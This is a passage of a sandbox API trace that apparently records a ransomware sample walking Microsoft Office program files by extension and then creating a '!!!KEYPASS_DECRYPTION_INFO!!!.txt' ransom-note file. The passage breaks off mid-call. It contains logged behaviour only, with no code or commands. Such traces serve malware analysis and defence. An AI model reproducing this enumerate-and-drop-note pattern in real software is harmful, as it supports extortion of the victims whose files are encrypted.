Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR47F.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR48B.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR48F.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR49B.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR49F.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR4B.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.334] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR4F.GIF") returned=".GIF" [0245.334] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50B.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR50F.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR51B.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR51F.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR5B.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR5F.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR6B.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR6F.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR7B.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR7F.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR8B.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.335] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR8F.GIF") returned=".GIF" [0245.335] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR9B.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR9F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPAPERS.INI") returned=".INI" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR00.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR10F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR11F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR12F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR13F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR14F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR15F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR16F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR17F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR18F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR19F.GIF") returned=".GIF" [0245.336] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.336] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR1B.GIF") returned=".GIF" [0245.337] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR1F.GIF") returned=".GIF" [0245.337] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR20F.GIF") returned=".GIF" [0245.337] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR21F.GIF") returned=".GIF" [0245.337] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR22F.GIF") returned=".GIF" [0245.337] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR23F.GIF") returned=".GIF" [0245.337] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR24F.GIF") returned=".GIF" [0245.337] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.337] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR25F.GIF") returned=".GIF" [0245.337] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR26F.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR27F.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR28F.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR29F.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR2B.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR2F.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR30F.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR31F.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR32F.GIF") returned=".GIF" [0245.338] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR33F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR34F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR35F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR36F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR37F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR38F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR39F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR3B.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR3F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR40F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR41F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR42F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR43B.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR43F.GIF") returned=".GIF" [0245.339] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.339] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR44B.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR44F.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR45B.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR45F.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR46B.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR46F.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR47B.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR47F.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR48B.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR48F.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR49B.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR49F.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR4B.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR4F.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.340] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR50B.GIF") returned=".GIF" [0245.340] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR50F.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51B.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR51F.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5F.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7B.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR7F.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8F.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9F.GIF") returned=".GIF" [0245.341] FindNextFileW (in: hFindFile=0x2e79b98, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0245.341] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBWZINT.DLL") returned=".DLL" [0245.342] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.342] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QRYINT32.DLL") returned=".DLL" [0245.342] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.342] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0245.342] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.342] GetLastError () returned 0x3f0 [0245.342] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.342] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\!!!keypass_decryption_info!!!.txt"), 